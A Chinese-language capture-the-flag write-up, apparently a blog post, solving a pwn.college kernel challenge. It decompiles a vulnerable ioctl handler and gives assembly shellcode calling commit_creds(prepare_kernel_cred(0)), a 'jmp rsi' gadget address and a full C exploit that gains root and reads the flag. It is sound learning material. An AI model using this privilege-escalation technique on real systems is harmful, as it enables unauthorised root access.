之前写完前面四个的时候凌晨 4 点了,剩下最后一题没写
babykernel 补完
babykernel_level5_teaching1.ko
老样子,通过 ioctl
去控制
device_ioctl
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
_QWORD *v3; // rbx
__int64 result; // rax
__int64 v5; // rax
v3 = (_QWORD *)arg; // v3 指向我们 ioctl 的第 3 个参数
printk(&unk_1018); // 输出 banner
result = -1LL;
if ( cmd == 1337 ) // 操作码是 1337 ,也就是 ioctl 的第二个参数
{
result = -2LL;
if ( *v3 <= 0x1000uLL ) // 可以看到 v3 是一个 _QWORD 的类型,也就是 64 bit 的长整形
{
copy_from_user(shellcode, v3 + 1); // 复制 arg 第 64bit 之后的内容到 shellcode
v5 = v3[513]; // v5 就是 rax,rax 存入 v3[513] 处的 64bits 数据
_x86_indirect_thunk_rax(); // call rax,也就是说 v3[513] 需要放一个有效的地址,这个地址就是后面要执行的
result = 0LL;
}
}
return result;
}
可以看汇编
.text.unlikely:0000000000000F6C ; __int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
.text.unlikely:0000000000000F6C device_ioctl proc near ; DATA XREF: .data:fops↓o
.text.unlikely:0000000000000F6C file = rdi ; file *
.text.unlikely:0000000000000F6C cmd = rsi ; unsigned int
.text.unlikely:0000000000000F6C arg = rdx ; unsigned __int64
.text.unlikely:0000000000000F6C push rbp
.text.unlikely:0000000000000F6D mov rcx, arg
.text.unlikely:0000000000000F70 mov ebp, esi
.text.unlikely:0000000000000F72 cmd = rbp ; unsigned int
.text.unlikely:0000000000000F72 push rbx
.text.unlikely:0000000000000F73 mov rbx, arg
.text.unlikely:0000000000000F76 arg = rbx ; unsigned __int64
.text.unlikely:0000000000000F76 mov edx, esi
.text.unlikely:0000000000000F78 mov rsi, file
.text.unlikely:0000000000000F7B mov file, offset unk_1018
.text.unlikely:0000000000000F82 call printk ; PIC mode
.text.unlikely:0000000000000F87 or rax, 0FFFFFFFFFFFFFFFFh
.text.unlikely:0000000000000F8B cmp ebp, 539h
.text.unlikely:0000000000000F91 jnz short loc_FC4
.text.unlikely:0000000000000F93 mov rdx, [arg]
.text.unlikely:0000000000000F96 mov rax, 0FFFFFFFFFFFFFFFEh
.text.unlikely:0000000000000F9D cmp rdx, 1000h
.text.unlikely:0000000000000FA4 ja short loc_FC4
.text.unlikely:0000000000000FA6 mov rdi, cs:shellcode
.text.unlikely:0000000000000FAD lea rsi, [arg+8]
.text.unlikely:0000000000000FB1 call _copy_from_user ; PIC mode
.text.unlikely:0000000000000FB6 mov rax, [arg+1008h] # 可以看到 rax 存的是 arg+1008h 位置的内容
.text.unlikely:0000000000000FBD call __x86_indirect_thunk_rax ; PIC mode
.text.unlikely:0000000000000FC2 xor eax, eax
.text.unlikely:0000000000000FC4
.text.unlikely:0000000000000FC4 loc_FC4: ; CODE XREF: device_ioctl+25↑j
.text.unlikely:0000000000000FC4 ; device_ioctl+38↑j
.text.unlikely:0000000000000FC4 pop arg
.text.unlikely:0000000000000FC5 pop cmd
.text.unlikely:0000000000000FC6
.text.unlikely:0000000000000FC6 locret_FC6: ; DATA XREF: .orc_unwind_ip:0000000000001305↓o
.text.unlikely:0000000000000FC6 ; .orc_unwind_ip:0000000000001309↓o ...
.text.unlikely:0000000000000FC6 retn
.text.unlikely:0000000000000FC6 device_ioctl endp
思路:
.text.unlikely:0000000000000FB6 mov rax, [arg+1008h] # 可以看到 rax 存的是 arg+1008h 位置的内容
.text.unlikely:0000000000000FBD call __x86_indirect_thunk_rax ; PIC mode
.text.unlikely:0000000000000FC2 xor eax, eax
因为是把 arg+1008h
当成一个指针,指向 call rax
要跳到的指令的地址
我想到的是 rop
用一个 jmp rsi
执行做跳板调到 shellcode
就是在 arg+1008h
放入 jmp rsi
的地址,这样我们只需要在我们 ioctl
的 第三个参数的第 8
个字节之后构造 shellcode
就能 通过 jmp rsi
跳到 shellcode
执行
因为可以看到
.text.unlikely:0000000000000FAD lea rsi, [arg+8]
rsi
是存着 arg+8
的地址,所以理论成立,开始实践,现在找 gadget
# r00t @ FakeLinux in ~/code/kernel/pwnkernel/linux-5.4 on git:main x [21:16:52]
$ /home/r00t/.local/bin/ROPgadget --binary ./vmlinux | grep "jmp rsi"
得到一堆结果,然后我找到了这个:
0xffffffff810213b4 : jmp rsi
好了,写 payload
,还是使用 commit_creds(prepare_kernel_cred(0));
进行提权
sc.asm
push rsi;
mov rsi, 0xffffffff810881c0; # prepare_kernel_cred
push rdi;
xor rdi, rdi;
call rsi;
mov rdi, rax;
mov rsi, 0xffffffff81087e80; # commit_creds
call rsi;
pop rdi;
pop rsi;
ret;
rasm2
编译
# r00t @ FakeLinux in ~ [21:19:46]
$ rasm2 -a x86 -b 64 -C -f sc.asm
"x56x48xbexc0x81x08x81xffxffxffxffx57x48x31xffxffxd6x48x89xc7"
"x48xbex80x7ex08x81xffxffxffxffxffxd6x5fx5exc3"
得到 shellcode
,长度 35
,我们还需要填充 0x1008 - 35 - 8
字节,然后放入 jmp rsi
的地址,为什么 -35
又 -8
?
因为前 8
个字节是 v3
,v3
是个 64
位的长整形,需要小于 0x1000
,我们直接用 0
填充
构造 payload
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
int main() {
char *scTmp = "x56x48xbexc0x81x08x81xffxffxffxffx57x48x31xffxffxd6x48x89xc7x48xbex80x7ex08x81xffxffxffxffxffxd6x5fx5exc3";
char *shellcode;
shellcode = mmap(NULL, 4500, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED| MAP_ANON, -1, 0);
if(shellcode == NULL) {
printf("mmap fail!
");
exit(-1);
}
memset(shellcode, 0, 8); // 用 0 填充前 8 个字节
memcpy(shellcode + 8, scTmp, 35); // commit_creds(prepare_kernel_cred(0));
memset(shellcode + 8 + 35, 0x90, 4061); // 0x90 填充
memcpy(shellcode + 4104, "xb4x13x02x81xffxffxffxff", 8); // jmp rsi
int fd = open("/proc/pwncollege", O_WRONLY);
printf("%d
", fd);
ioctl(fd, 1337, shellcode);
system("id");
system("cat /flag");
return 0;
}
pwn!
其实这个题目有个坑
就是如果你的 shellcode
放的那块内存是不可执行的话就会失败,之前我的 payload
是放在一个字符数组里面,数组是放在栈上的
char shellcode[] = {"x56x48xbexc0x81x08x81xffxffxffxffx57x48x31xffxffxd6x48x89xc7x48xbex80x7ex08x81xffxffxffxffxffxd6x5fx5exc3"};
但是我编译的时候没有开启 栈可执行 当跳到 shellcode 执行时就会发生错误,会提示内存页不可执行,所以我才用 mmap 分配一块 可读可写可执行的 内存
结束!
# r00t @ FakeLinux in ~ [1:12:20]
$ date
Thu 25 Feb 2021 01:12:21 AM CST